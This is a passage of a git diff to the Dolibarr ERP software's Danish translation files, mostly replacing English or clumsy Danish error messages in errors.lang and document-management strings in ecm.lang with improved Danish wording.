ECMRoot=ECM Root ECMNewSection=Ny mappe @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Number of files in sub-directories ECMCreationUser=Creator ECMArea=DMS / ECM område ECMAreaDesc=DMS / ECM (Document Management System / Electronic Content Management) -området giver dig mulighed for at gemme, dele og søge hurtigt alle slags dokumenter i Dolibarr. -ECMAreaDesc2=* Automatisk abonnentfortegnelser fyldes automatisk, når tilføjelse af dokumenter fra kort af et element.
      * Manual mapper kan bruges til at gemme dokumenter, der ikke er knyttet til et bestemt element. +ECMAreaDesc2a=* Manual mapper kan bruges til at gemme dokumenter, der ikke er knyttet til et bestemt element. +ECMAreaDesc2b=* Automatiske mapper udfyldes automatisk, når du tilføjer dokumenter fra siden af et element. +ECMAreaDesc3=* Medias mapper er filer i underbiblioteket /medias i dokumentbiblioteket, læsbare af alle uden behov for at blive logget og uden behov for at få filen delt eksplicit. Det bruges til at gemme billedfiler til for eksempel e-mail- eller hjemmesidemodulet. ECMSectionWasRemoved=Directory %s er blevet slettet. ECMSectionWasCreated=Katalog %s er blevet oprettet. ECMSearchByKeywords=Søg på nøgleord diff --git a/htdocs/langs/da_DK/errors.lang b/htdocs/langs/da_DK/errors.lang index 95df5333b5e..6970140be26 100644 --- a/htdocs/langs/da_DK/errors.lang +++ b/htdocs/langs/da_DK/errors.lang @@ -3,7 +3,7 @@ # No errors NoErrorCommitIsDone=Ingen fejl, vi begår # Errors -ErrorButCommitIsDone=Errors found but we validate despite this +ErrorButCommitIsDone=Fejl fundet, men vi validerer til trods ErrorBadEMail=E-mail %s er forkert ErrorBadMXDomain=E-mail %s synes forkert (domæne har ingen gyldig MX-post) ErrorBadUrl=Url %s er forkert @@ -13,210 +13,212 @@ ErrorTitleAlreadyExists=Titel %s findes allerede. ErrorLoginAlreadyExists=Log ind %s eksisterer allerede. ErrorGroupAlreadyExists=Gruppe %s eksisterer allerede. ErrorEmailAlreadyExists=E-mail %s findes allerede. -ErrorRecordNotFound=Optag ikke fundet. -ErrorFailToCopyFile=Kunne ikke kopiere filen "%s" til "%s". -ErrorFailToCopyDir=Failed to copy directory '%s' into '%s'. -ErrorFailToRenameFile=Kunne ikke omdøbe filen '%s' til '%s'. -ErrorFailToDeleteFile=Det lykkedes ikke at fjerne filen ' %s'. -ErrorFailToCreateFile=Kunne ikke oprette filen ' %s'. -ErrorFailToRenameDir=Kunne ikke omdøbe mappe ' %s' i' %s'. -ErrorFailToCreateDir=Kunne ikke oprette mappen ' %s'. -ErrorFailToDeleteDir=Det lykkedes ikke at slette mappen ' %s'. -ErrorFailToMakeReplacementInto=Failed to make replacement into file '%s'. -ErrorFailToGenerateFile=Failed to generate file '%s'. +ErrorRecordNotFound=Post ikke fundet. +ErrorRecordNotFoundShort=Ikke fundet +ErrorFailToCopyFile=Kunne ikke kopiere filen '%s' til '%s'. +ErrorFailToCopyDir=Kunne ikke kopiere mappen '%s' til '%s'. +ErrorFailToRenameFile=Kunne ikke omdøbe filen '%s' til '%s'. +ErrorFailToDeleteFile=Det lykkedes ikke at fjerne filen '%s'. +ErrorFailToCreateFile=Kunne ikke oprette filen '%s'. +ErrorFailToRenameDir=Kunne ikke omdøbe mappen '%s' til '%s'. +ErrorFailToCreateDir=Kunne ikke oprette mappen '%s'. +ErrorFailToDeleteDir=Det lykkedes ikke at slette mappen '%s'. +ErrorFailToMakeReplacementInto=Det lykkedes ikke at foretage erstatning i filen '%s'. +ErrorFailToGenerateFile=Oprettelse af filen '%s' mislykkedes. ErrorThisContactIsAlreadyDefinedAsThisType=Denne kontaktperson er allerede defineret som kontaktperson for denne type. -ErrorCashAccountAcceptsOnlyCashMoney=Denne bankkonto er et kontant-konto, så det accepterer betaling af type cash only. -ErrorFromToAccountsMustDiffers=Kilde og mål bankkonti skal være anderledes. -ErrorBadThirdPartyName=Dårlig værdi for tredjeparts navn +ErrorCashAccountAcceptsOnlyCashMoney=Denne bankkonto er en kontant-konto, så den accepterer kun betaling af typen kontant. +ErrorFromToAccountsMustDiffers=Fra og til bankkonti skal være forskellige. +ErrorBadThirdPartyName=Forkert værdi for tredjeparts navn ForbiddenBySetupRules=Forbudt ifølge opsætnings regler -ErrorProdIdIsMandatory=The %s is mandatory +ErrorProdIdIsMandatory= %s er obligatorisk ErrorAccountancyCodeCustomerIsMandatory=Regnskabskoden for kunden %s er obligatorisk -ErrorBadCustomerCodeSyntax=Bad syntaks for kunde-kode -ErrorBadBarCodeSyntax=Dårlig syntaks til stregkode. Måske angiver du en dårlig stregkodetype, eller definerer du en stregkodemaske til nummerering, der ikke svarer til den scannede værdi. +ErrorBadCustomerCodeSyntax=Forkert syntaks for kunde-kode +ErrorBadBarCodeSyntax=Forkert syntaks til stregkode. Måske angiver du en forkert stregkodetype, eller har defineret en stregkodemaske til nummerering, der ikke svarer til den scannede værdi. ErrorCustomerCodeRequired=Kundekode kræves ErrorBarCodeRequired=Stregkode påkrævet ErrorCustomerCodeAlreadyUsed=Kundekoden anvendes allerede ErrorBarCodeAlreadyUsed=Stregkode allerede brugt ErrorPrefixRequired=Prefix kræves -ErrorBadSupplierCodeSyntax=Dårlig syntax for leverandør kode +ErrorBadSupplierCodeSyntax=Forkert syntax for leverandør kode ErrorSupplierCodeRequired=Leverandørkode kræves ErrorSupplierCodeAlreadyUsed=Leverandørkode allerede brugt -ErrorBadParameters=Bad parametre +ErrorBadParameters=Forkerte parametre ErrorWrongParameters=Forkerte eller manglende parametre -ErrorBadValueForParameter=Wrong value '%s' for parameter '%s' -ErrorBadImageFormat=Image file has not a supported format (Your PHP does not support functions to convert images of this format) +ErrorBadValueForParameter=Forkert værdi '%s' for parameter '%s' +ErrorBadImageFormat=Billedfilen har ikke et understøttet format (Din PHP understøtter ikke konvertering af billeder med dette format) ErrorBadDateFormat=Værdi '%s' har forkert datoformat -ErrorWrongDate=Date is not correct! +ErrorWrongDate=Dato er forkert! ErrorFailedToWriteInDir=Det lykkedes ikke at skrive i mappen %s -ErrorFoundBadEmailInFile=Found incorrect email syntax for %s lines in file (example line %s with email=Fundet forkerte e-mail-syntaks for %s linjer i filen (f.eks line %s med email= %s) +ErrorFailedToBuildArchive=Kunne ikke bygge arkivfilen %s +ErrorFoundBadEmailInFile=Fundet forkerte e-mail syntaks for %s linjer i filen (f.eks. linje %s med email=%s) ErrorUserCannotBeDelete=Bruger kan ikke slettes. Måske er det forbundet med Dolibarr enheder. ErrorFieldsRequired=Nogle obligatoriske felter er efterladt tomme. ErrorSubjectIsRequired=E-mail-emnet er påkrævet -ErrorFailedToCreateDir=Det lykkedes ikke at oprette en mappe. Kontroller, at web-serveren bruger har tilladelse til at skrive i Dolibarr dokumenter bibliotek. Hvis parameter safe_mode er aktiveret på dette PHP, kontrollere, at Dolibarr php filer ejer til web-serveren bruger (eller gruppe). +ErrorFailedToCreateDir=Det lykkedes ikke at oprette en mappe. Kontroller, at web-server bruger har tilladelse til at skrive i Dolibarr dokument mappen. Hvis parameteren safe_mode er aktiveret i PHP, kontroller at Dolibarr php filer ejes af web-server bruger (eller gruppe). ErrorNoMailDefinedForThisUser=Ingen e-mail defineret for denne bruger ErrorSetupOfEmailsNotComplete=Opsætningen af e-mails er ikke afsluttet -ErrorFeatureNeedJavascript=Denne funktion kræver, at javascript aktiveres for at fungere. Skift dette i setup - display. -ErrorTopMenuMustHaveAParentWithId0=En menu af type 'Top' kan ikke have en forælder menuen. Sæt 0 i moderselskabet menu eller vælge en menu af typen »Venstre«. +ErrorFeatureNeedJavascript=Denne funktion kræver, at javascript aktiveres for at fungere. Skift dette i Opsætning - Udseende. +ErrorTopMenuMustHaveAParentWithId0=En menu af type 'Top' kan ikke have en moder menu. Angiv 0 i moder menu eller vælg en menu af typen »Venstre«. ErrorLeftMenuMustHaveAParentId=En menu af typen »Venstre« skal have en forælder id. -ErrorFileNotFound=Filen blev ikke fundet (Forkert sti, forkerte tilladelser eller adgang nægtet ved openbasedir parameter) -ErrorDirNotFound=Directory %s ikke fundet (Bad sti, forkerte rettigheder eller adgang nægtet af PHP openbasedir eller safe_mode parameter) -ErrorFunctionNotAvailableInPHP=Funktion %s er påkrævet for denne funktion, men er ikke tilgængelig i denne version / opsætning af PHP. +ErrorFileNotFound=Filen%s blev ikke fundet (Forkert sti, forkerte tilladelser eller adgang nægtet af PHP openbasedir eller safe_mode parameter) +ErrorDirNotFound=Mappen %s ikke fundet (Forkert sti, forkerte rettigheder eller adgang nægtet af PHP openbasedir eller safe_mode parameter) +ErrorFunctionNotAvailableInPHP=Funktionen %s er påkrævet for denne funktion, men er ikke tilgængelig i denne version/opsætning af PHP. ErrorDirAlreadyExists=En mappe med dette navn findes allerede. ErrorFileAlreadyExists=En fil med dette navn findes allerede. -ErrorDestinationAlreadyExists=En anden fil med navnet %s findes allerede. +ErrorDestinationAlreadyExists=En anden fil med navnet %s findes allerede. ErrorPartialFile=Fil ikke modtaget helt af serveren. -ErrorNoTmpDir=Midlertidig directy %s ikke eksisterer. -ErrorUploadBlockedByAddon=Upload blokeret af en PHP / Apache plugin. +ErrorNoTmpDir=Midlertidig mappe %s eksisterer ikke. +ErrorUploadBlockedByAddon=Upload blokeret af et PHP / Apache plugin. ErrorFileSizeTooLarge=Filstørrelsen er for stor, eller filen er ikke angivet. ErrorFieldTooLong=Feltet%s er for langt. -ErrorSizeTooLongForIntType=Størrelse for lang tid for int type (%s cifre maksimum) -ErrorSizeTooLongForVarcharType=Størrelse for lang tid for streng type (%s tegn maksimum) -ErrorNoValueForSelectType=Please fill value for select list -ErrorNoValueForCheckBoxType=Please fill value for checkbox list -ErrorNoValueForRadioType=Please fill value for radio list -ErrorBadFormatValueList=The list value cannot have more than one comma: %s, but need at least one: key,value -ErrorFieldCanNotContainSpecialCharacters=Feltet %s må ikke indeholde specialtegn. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Feltet %s må ikke indeholde specialtegn eller store bogstaver og må ikke indeholde kun tal. -ErrorFieldMustHaveXChar=Feltet %s skal have mindst %s tegn. +ErrorSizeTooLongForIntType=Størrelse for lang for typen heltal (%s cifre maksimum) +ErrorSizeTooLongForVarcharType=Størrelse for lang for typen streng (%s tegn maksimum) +ErrorNoValueForSelectType=Venligst udfyld værdi for valgte liste +ErrorNoValueForCheckBoxType=Venligst udfyld værdi for afkrydsnings listen +ErrorNoValueForRadioType=Venligst udfyld værdien for alternativ listen +ErrorBadFormatValueList=Værdien kan ikke have mere end et komma: %s, men skal have mindst et: key,value +ErrorFieldCanNotContainSpecialCharacters=Feltet %s må ikke indeholde specialtegn. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Feltet %s må ikke indeholde specialtegn eller store bogstaver og skal starte med et alfabetisk tegn (a-z) +ErrorFieldMustHaveXChar=Feltet %s skal have mindst %s tegn. ErrorNoAccountancyModuleLoaded=Intet regnskabsmodul aktiveret -ErrorExportDuplicateProfil=This profile name already exists for this export set. -ErrorLDAPSetupNotComplete=Dolibarr-LDAP matchende er ikke komplet. -ErrorLDAPMakeManualTest=A. LDIF-fil er blevet genereret i mappen %s. Prøv at indlæse den manuelt fra kommandolinjen for at få flere informationer om fejl. +ErrorExportDuplicateProfil=Dette profilnavn eksisterer allerede i denne eksport samling. +ErrorLDAPSetupNotComplete=Dolibarr-LDAP match er ikke fuldført. +ErrorLDAPMakeManualTest=En .ldif-fil er blevet genereret i mappen %s. Prøv at indlæse den manuelt fra kommandolinjen for at få flere informationer om fejl. ErrorCantSaveADoneUserWithZeroPercentage=Kan ikke gemme en handling med "status ikke startet", hvis feltet "udført af" også er udfyldt. ErrorRefAlreadyExists=Reference %s findes allerede. -ErrorPleaseTypeBankTransactionReportName=Indtast venligst kontoudskriftsnavnet, hvor indgangen skal rapporteres (Format YYYYMM eller YYYYMMDD) -ErrorRecordHasChildren=Kunne ikke slette rekord, da det har nogle børneposter. +ErrorPleaseTypeBankTransactionReportName=Indtast venligst kontoudskriftsnavnet, hvor transactionen skal rapporteres (Format ÅÅÅÅMM eller ÅÅÅÅMMDD) +ErrorRecordHasChildren=Kunne ikke slette posten, da den har nogle underposter ErrorRecordHasAtLeastOneChildOfType=Objekt %s har mindst et barn af typen %s -ErrorRecordIsUsedCantDelete=Kan ikke slette rekord. Den er allerede brugt eller inkluderet i et andet objekt. -ErrorModuleRequireJavascript=Javascript må ikke være deaktiveret for at få denne funktion til at fungere. For at aktivere / deaktivere Javascript, skal du gå til menuen Home-> Setup-> Display. -ErrorPasswordsMustMatch=Begge har skrevet passwords skal matche hinanden -ErrorContactEMail=Der opstod en teknisk fejl. Kontakt administratoren til følgende e-mail %s og giv fejlkoden %s i din besked eller tilføj en skærmkopi af denne side. +ErrorRecordIsUsedCantDelete=Kan ikke slette posten. Den er allerede brugt eller inkluderet i et andet objekt. +ErrorModuleRequireJavascript=Hvis denne funktion skal fungere må Javascript ikke være deaktiveret. For at aktivere / deaktivere Javascript, skal du gå til menuen Hjem -> Opsætning -> Udseende. +ErrorPasswordsMustMatch=De angivne adgangskoder skal matche hinanden +ErrorContactEMail=Der opstod en teknisk fejl. Kontakt administratoren på følgende e-mail %s og oplys fejlkoden %s i din besked eller tilføj en skærmkopi af denne side. ErrorWrongValueForField=Felt%s: '%s' stemmer ikke overens med regex-reglen%s ErrorHtmlInjectionForField=Felt %s: Værdien '%s indeholder skadelig data, som ikke er tilladt. ErrorFieldValueNotIn=Felt %s: '%s' er ikke en værdi fundet i felt %saf %s ErrorFieldRefNotIn=Felt%s: '%s' er ikke en %s eksisterende ref +ErrorMultipleRecordFoundFromRef=Flere poster fundet ved søgning fra ref %s . Ingen måde at vide, hvilket ID du skal bruge. ErrorsOnXLines=%s fundne fejl -ErrorFileIsInfectedWithAVirus=Det antivirusprogram var ikke i stand til at bekræfte filen (filen kan være inficeret med en virus) -ErrorSpecialCharNotAllowedForField=Specialtegn er ikke tilladt for feltet "%s" -ErrorNumRefModel=En henvisning findes i databasen (%s) og er ikke kompatible med denne nummerering regel. Fjern optage eller omdøbt henvisning til aktivere dette modul. +ErrorFileIsInfectedWithAVirus=Antivirusprogrammet var ikke i stand til at kontrollere filen (filen kan være inficeret med en virus) +ErrorNumRefModel=En henvisning findes i databasen (%s) og er ikke kompatibel med denne nummerering regel. Fjern registrering eller omdøb henvisning for aktivere dette modul. ErrorQtyTooLowForThisSupplier=Mængden for lav for denne leverandør eller ingen pris defineret på dette produkt for denne leverandør ErrorOrdersNotCreatedQtyTooLow=Nogle ordrer er ikke blevet oprettet på grund af for lave mængder -ErrorModuleSetupNotComplete=Opsætning af modul %s ser ud til at være ufuldstændig. Gå videre - Opsætning - Moduler, for at gennemføres. +ErrorModuleSetupNotComplete=Opsætning af modulet %s ser ud til at være ufuldstændig. Gå til Hjem -> Opsætning -> Moduler, for at fuldføre. ErrorBadMask=Fejl på maske -ErrorBadMaskFailedToLocatePosOfSequence=Fejl, maske uden loebenummeret -ErrorBadMaskBadRazMonth=Fejl, dårlig reset værdi -ErrorMaxNumberReachForThisMask=Maksimalt antal nåede til denne maske -ErrorCounterMustHaveMoreThan3Digits=Counter must have more than 3 digits +ErrorBadMaskFailedToLocatePosOfSequence=Fejl, maske uden løbenummer +ErrorBadMaskBadRazMonth=Fejl, forkert nulstillingsværdi +ErrorMaxNumberReachForThisMask=Maksimalt antal nået for denne maske +ErrorCounterMustHaveMoreThan3Digits=Tæller skal have mere en 3 cifre ErrorSelectAtLeastOne=Fejl, vælg mindst en post. -ErrorDeleteNotPossibleLineIsConsolidated=Slet ikke muligt, fordi rekord er knyttet til en banktransaktion, der er forliget -ErrorProdIdAlreadyExist=%s er tildelt til et andet tredjeland -ErrorFailedToSendPassword=Det lykkedes ikke at sende password -ErrorFailedToLoadRSSFile=Ikke formår at få RSS-feed. Prøv at tilføje konstant MAIN_SIMPLEXMLLOAD_DEBUG hvis fejlmeddelelser ikke giver nok information. -ErrorForbidden=Access denied.
      You try to access to a page, area or feature of a disabled module or without being in an authenticated session or that is not allowed to your user. -ErrorForbidden2=Tilladelse til dette login kan defineres af din Dolibarr administrator fra menuen %s-> %s. -ErrorForbidden3=Det ser ud til, at Dolibarr ikke bruges gennem en godkendt session. Se på Dolibarr installationsdokumentation for at vide mere om, hvordan man administrerer godkendelser (htaccess, mod_auth eller andet ...). -ErrorForbidden4=Bemærk: Ryd dine browsercookies for at ødelægge eksisterende sessioner for dette login. -ErrorNoImagickReadimage=Class Imagick findes ikke i dette PHP. Ingen forhåndsvisning kan være tilgængelig. Administratorer kan deaktivere denne fane fra menuen Setup - Display. -ErrorRecordAlreadyExists=Optag allerede findes +ErrorDeleteNotPossibleLineIsConsolidated=Ikke muligt at slette, fordi posten er knyttet til en banktransaktion, der er forliget +ErrorProdIdAlreadyExist=%s er tildelt til en anden tredjepart +ErrorFailedToSendPassword=Det lykkedes ikke at sende adgangskode +ErrorFailedToLoadRSSFile=Kan ikke læse RSS-feed. Prøv at tilføje konstanten MAIN_SIMPLEXMLLOAD_DEBUG hvis fejlmeddelelserne ikke giver nok information. +ErrorForbidden=Adgang nægtet.
      Du prøver at tilgå en side, område eller funktion for et deaktiveret modul eller uden at være i en autoriseret session eller som ikke er tilladt for din bruger. +ErrorForbidden2=Tilladelse for dette login kan defineres af din Dolibarr administrator fra menuen %s-> %s. +ErrorForbidden3=Det ser ud til, at Dolibarr ikke bruges gennem en godkendt session. Tag et kig på Dolibarr installationsdokumentationen for at lære mere om, hvordan man administrerer godkendelser (htaccess, mod_auth eller andet ...). +ErrorForbidden4=Bemærk: Ryd dine browsercookies for at slette eksisterende sessioner for dette login. +ErrorNoImagickReadimage=Biblioteket Imagick findes ikke i dette PHP. Ingen forhåndsvisning kan være tilgængelig. Administratorer kan deaktivere denne fane fra menuen Opsætning -> Udseende. +ErrorRecordAlreadyExists=Posten findes allerede ErrorLabelAlreadyExists=Denne etiket eksisterer allerede -ErrorCantReadFile=Kunne ikke læse filen ' %s' -ErrorCantReadDir=Kunne ikke læse directory ' %s' -ErrorBadLoginPassword=Bad værdi for brugernavn eller password +ErrorCantReadFile=Kunne ikke læse filen '%s' +ErrorCantReadDir=Kunne ikke læse mappen '%s' +ErrorBadLoginPassword=Forkert værdi for brugernavn eller adgangskode ErrorLoginDisabled=Din konto er blevet deaktiveret ErrorFailedToRunExternalCommand=Kunne ikke køre ekstern kommando. Kontroller, at den er tilgængelig og kan køres af din PHP-serverbruger. Kontroller også, at kommandoen ikke er beskyttet på shell-niveau af et sikkerhedslag som apparmor. -ErrorFailedToChangePassword=Det lykkedes ikke at ændre password -ErrorLoginDoesNotExists=Bruger med login %s kunne ikke findes. +ErrorFailedToChangePassword=Det lykkedes ikke at ændre adgangskode +ErrorLoginDoesNotExists=Bruger med navnet %s kunne ikke findes. ErrorLoginHasNoEmail=Denne bruger har ingen e-mail-adresse. Processen afbrydes. -ErrorBadValueForCode=Bad værdi former for kode. Prøv igen med en ny værdi ... -ErrorBothFieldCantBeNegative=Fields %s og %s kan ikke være både negative -ErrorFieldCantBeNegativeOnInvoice=Feltet %skan ikke være negativt på denne type faktura. Hvis du har brug for at tilføje en rabat linje, bare oprette rabatten først (fra marken '%s' i tredjeparts-kort), og anvende det til fakturaen. -ErrorLinesCantBeNegativeForOneVATRate=Det samlede antal linjer (netto af skat) kan ikke være negativt for en given ikke null momssats (Fundet en negativ sum for momssats %s %%). -ErrorLinesCantBeNegativeOnDeposits=Linjer kan ikke være negative i et depositum. Du vil stå over for problemer, når du bliver nødt til at forbruge deponering i endelige faktura, hvis du gør det. -ErrorQtyForCustomerInvoiceCantBeNegative=Quantity for line into customer invoices can't be negative -ErrorWebServerUserHasNotPermission=Brugerkonto %s anvendes til at udføre web-server har ikke tilladelse til at -ErrorNoActivatedBarcode=Ingen stregkode aktiveret typen -ErrUnzipFails=Failed to unzip %s with ZipArchive -ErrNoZipEngine=No engine to zip/unzip %s file in this PHP -ErrorFileMustBeADolibarrPackage=The file %s must be a Dolibarr zip package -ErrorModuleFileRequired=You must select a Dolibarr module package file -ErrorPhpCurlNotInstalled=The PHP CURL is not installed, this is essential to talk with Paypal -ErrorFailedToAddToMailmanList=Failed to add record %s to Mailman list %s or SPIP base -ErrorFailedToRemoveToMailmanList=Failed to remove record %s to Mailman list %s or SPIP base -ErrorNewValueCantMatchOldValue=New value can't be equal to old one -ErrorFailedToValidatePasswordReset=Failed to reinit password. May be the reinit was already done (this link can be used only one time). If not, try to restart the reinit process. -ErrorToConnectToMysqlCheckInstance=Forbindelse til database fejler. Check databaseserveren kører (for eksempel med mysql / mariadb kan du starte det fra kommandolinjen med 'sudo service mysql start'). -ErrorFailedToAddContact=Failed to add contact +ErrorBadValueForCode=Ugyldig værdi for sikkerheds kode. Prøv igen med en ny værdi ... +ErrorBothFieldCantBeNegative=Felterne %s og %s kan ikke begge være negative +ErrorFieldCantBeNegativeOnInvoice=Feltet %skan ikke være negativt på denne type faktura. Hvis du har brug for at tilføje en rabat linje, opret rabatten først (fra feltet '%s' i tredjeparts-kort), og anvend det til fakturaen. +ErrorLinesCantBeNegativeForOneVATRate=Det samlede antal linjer (netto af skat) kan ikke være negativt for en given ikke nul-momssats (Fandt en negativ sum for momssats %s %%). +ErrorLinesCantBeNegativeOnDeposits=Linjer kan ikke være negative for et depositum. Du vil opleve problemer, når du bliver nødt til at bruge deponering i den endelige faktura, hvis du gør det. +ErrorQtyForCustomerInvoiceCantBeNegative=Mængde for linjen på kunde fakturaer kan ikke være negativ +ErrorWebServerUserHasNotPermission=Brugerkonto %s der anvendes til at starte web-server har ikke tilladelse til dette +ErrorNoActivatedBarcode=Ingen stregkode type aktiveret +ErrUnzipFails=Udpakning fejlede for %s med ZipArchive +ErrNoZipEngine=Modul til pakning/udpakning af %s findes ikke i PHP +ErrorFileMustBeADolibarrPackage=Filen %s skal være en Dolibarr zip pakke +ErrorModuleFileRequired=Du skal vælge en Dolibarr modul pakke fil +ErrorPhpCurlNotInstalled=PHP CURL modulet er ikke installeret, dette er nødvendigt for at kommunikere med Paypal +ErrorFailedToAddToMailmanList=Tilføjelsen af posten %s til Mailman listen %s eller SPIP basen fejlede +ErrorFailedToRemoveToMailmanList=Sletning af posten %s fra Mailman listen %s eller SPIP basen fejlede +ErrorNewValueCantMatchOldValue=Den nye værdi kan ikke være magen til den gamle +ErrorFailedToValidatePasswordReset=Gendannelse af adgangskode fejlede. Måske gendannelsen allerede er udført (dette link kan kun bruges én gang). Hvis ikke, prøv at genstarte gendannelses processen. +ErrorToConnectToMysqlCheckInstance=Forbindelse til database fejler. Kontroller at databaseserveren kører (for eksempel, med mysql/mariadb, kan du starte den fra kommandolinjen med 'sudo service mysql start'). +ErrorFailedToAddContact=Tilføjelse af kontakt fejlede ErrorDateMustBeBeforeToday=Datoen skal være før end i dag ErrorDateMustBeInFuture=Datoen skal være efter dags dato -ErrorPaymentModeDefinedToWithoutSetup=A payment mode was set to type %s but setup of module Invoice was not completed to define information to show for this payment mode. -ErrorPHPNeedModule=Error, your PHP must have module %s installed to use this feature. -ErrorOpenIDSetupNotComplete=You setup Dolibarr config file to allow OpenID authentication, but URL of OpenID service is not defined into constant %s -ErrorWarehouseMustDiffers=Source and target warehouses must differs -ErrorBadFormat=Bad format! -ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Error, this member is not yet linked to any third party. Link member to an existing third party or create a new third party before creating subscription with invoice. -ErrorThereIsSomeDeliveries=Error, there is some deliveries linked to this shipment. Deletion refused. -ErrorCantDeletePaymentReconciliated=Can't delete a payment that had generated a bank entry that was reconciled +ErrorPaymentModeDefinedToWithoutSetup=En betalingsmetode var sat til typen %s men opsætningen af faktura modulet er ikke fuldført til at angive information der skal vises for denne betalingsmetode. +ErrorPHPNeedModule=Fejl, din PHP skal have modulet %s installeret for at benytte denne funktion. +ErrorOpenIDSetupNotComplete=Do hare opsat din Dolibarr konfigurations fil til at tillade OpenID autentificering, men URL'en til OpenID servicen er ikke defineret i konstanten %s +ErrorWarehouseMustDiffers=Kilde og destinations varehus skal være forskellige +ErrorBadFormat=Forkert format! +ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Fejl, dette medlem er endnu ikke knyttet til en tredjepart. Knyt medlem til en eksisterende tredjepart eller opret en ny tredjepart før oprettelsen af et abonnement med faktura. +ErrorThereIsSomeDeliveries=Fejl, der er knyttet leverancer til denne forsendelse. Sletning nægtet. +ErrorCantDeletePaymentReconciliated=Kan ikke slette en betaling der har oprettet en bank postering som var forsonet. ErrorCantDeletePaymentSharedWithPayedInvoice=Kan ikke slette en betaling deles af mindst én faktura med status Betalt -ErrorPriceExpression1=Cannot assign to constant '%s' -ErrorPriceExpression2=Cannot redefine built-in function '%s' -ErrorPriceExpression3=Undefined variable '%s' in function definition -ErrorPriceExpression4=Illegal character '%s' -ErrorPriceExpression5=Unexpected '%s' -ErrorPriceExpression6=Wrong number of arguments (%s given, %s expected) -ErrorPriceExpression8=Unexpected operator '%s' -ErrorPriceExpression9=An unexpected error occured +ErrorPriceExpression1=Kan ikke tilføjes til konstant '%s' +ErrorPriceExpression2=Kan ikke omdefinere en indbygget funktion '%s' +ErrorPriceExpression3=Udefineret variabel '%s' i funktions beskrivelsen +ErrorPriceExpression4=Ugyldigt tegn '%s' +ErrorPriceExpression5=Uventet '%s' +ErrorPriceExpression6=Ugyldigt antal argumenter (%s angivet, %s forventet) +ErrorPriceExpression8=Uventet operatør '%s' +ErrorPriceExpression9=En uventet fejl er opstået ErrorPriceExpression10=Operatør '%s' mangler operand -ErrorPriceExpression11=Expecting '%s' -ErrorPriceExpression14=Division by zero -ErrorPriceExpression17=Undefined variable '%s' -ErrorPriceExpression19=Expression not found -ErrorPriceExpression20=Empty expression -ErrorPriceExpression21=Empty result '%s' -ErrorPriceExpression22=Negative result '%s' +ErrorPriceExpression11=Forventer '%s' +ErrorPriceExpression14=Deling med nul +ErrorPriceExpression17=Ikke defineret variabel '%s' +ErrorPriceExpression19=Udtryk ikke fundet +ErrorPriceExpression20=Tomt udtryk +ErrorPriceExpression21=Tomt resultat '%s' +ErrorPriceExpression22=Negativt resultat '%s' ErrorPriceExpression23=Ukendt eller ikke-sæt variabel '%s' i %s ErrorPriceExpression24=Variabel '%s' eksisterer men har ingen værdi -ErrorPriceExpressionInternal=Internal error '%s' -ErrorPriceExpressionUnknown=Unknown error '%s' -ErrorSrcAndTargetWarehouseMustDiffers=Source and target warehouses must differs -ErrorTryToMakeMoveOnProductRequiringBatchData=Fejl, forsøger at lave en lagerbevægelse uden parti / seriel information på produkt '%s', der kræver meget parti / seriel information -ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=All recorded receptions must first be verified (approved or denied) before being allowed to do this action -ErrorCantSetReceptionToTotalDoneWithReceptionDenied=All recorded receptions must first be verified (approved) before being allowed to do this action -ErrorGlobalVariableUpdater0=HTTP request failed with error '%s' -ErrorGlobalVariableUpdater1=Invalid JSON format '%s' -ErrorGlobalVariableUpdater2=Missing parameter '%s' -ErrorGlobalVariableUpdater3=The requested data was not found in result -ErrorGlobalVariableUpdater4=SOAP client failed with error '%s' -ErrorGlobalVariableUpdater5=No global variable selected -ErrorFieldMustBeANumeric=Field %s must be a numeric value -ErrorMandatoryParametersNotProvided=Mandatory parameter(s) not provided +ErrorPriceExpressionInternal=Intern fejl '%s' +ErrorPriceExpressionUnknown=Ukendt fejl '%s' +ErrorSrcAndTargetWarehouseMustDiffers=Kilde og destinations varehus skal være forskellige +ErrorTryToMakeMoveOnProductRequiringBatchData=Fejl, forsøger at lave en lagerbevægelse uden parti/serie information på produkt '%s', der kræver parti/serie information +ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=Alle registrerede modtagelser skal først verificeres (godkendes eller afvises), før de får lov til at udføre denne handling +ErrorCantSetReceptionToTotalDoneWithReceptionDenied=Alle registrerede modtagelser skal først verificeres (godkendes), før de får lov til at udføre denne handling +ErrorGlobalVariableUpdater0=HTTP-anmodning mislykkedes med fejlen '%s' +ErrorGlobalVariableUpdater1=Ugyldigt JSON-format '%s' +ErrorGlobalVariableUpdater2=Manglende parameter '%s' +ErrorGlobalVariableUpdater3=De anmodede data blev ikke fundet i resultatet +ErrorGlobalVariableUpdater4=SOAP-klient mislykkedes med fejlen '%s' +ErrorGlobalVariableUpdater5=Ingen global variabel valgt +ErrorFieldMustBeANumeric=Feltet %s skal være en numerisk værdi +ErrorMandatoryParametersNotProvided=Obligatoriske parametre er ikke angivet ErrorOppStatusRequiredIfAmount=Du angiver et estimeret beløb for denne kundeemne. Så du skal også indtaste dets status. -ErrorFailedToLoadModuleDescriptorForXXX=Failed to load module descriptor class for %s -ErrorBadDefinitionOfMenuArrayInModuleDescriptor=Bad Definition Of Menu Array In Module Descriptor (bad value for key fk_menu) +ErrorFailedToLoadModuleDescriptorForXXX=Kunne ikke indlæse modulbeskrivelsesklassen for %s +ErrorBadDefinitionOfMenuArrayInModuleDescriptor=Dårlig definition af menuarray i modulbeskrivelse (dårlig værdi for nøglen fk_menu) ErrorSavingChanges=Der er opstået en fejl, når ændringerne gemmes -ErrorWarehouseRequiredIntoShipmentLine=Warehouse is required on the line to ship -ErrorFileMustHaveFormat=File must have format %s +ErrorWarehouseRequiredIntoShipmentLine=Lager er påkrævet på linjen for at sende +ErrorFileMustHaveFormat=Filen skal have formatet %s ErrorFilenameCantStartWithDot=Filnavn kan ikke starte med et '.' ErrorSupplierCountryIsNotDefined=Land for denne sælger er ikke defineret. Rett dette først. -ErrorsThirdpartyMerge=Failed to merge the two records. Request canceled. -ErrorStockIsNotEnoughToAddProductOnOrder=Stock is not enough for product %s to add it into a new order. -ErrorStockIsNotEnoughToAddProductOnInvoice=Stock is not enough for product %s to add it into a new invoice. -ErrorStockIsNotEnoughToAddProductOnShipment=Stock is not enough for product %s to add it 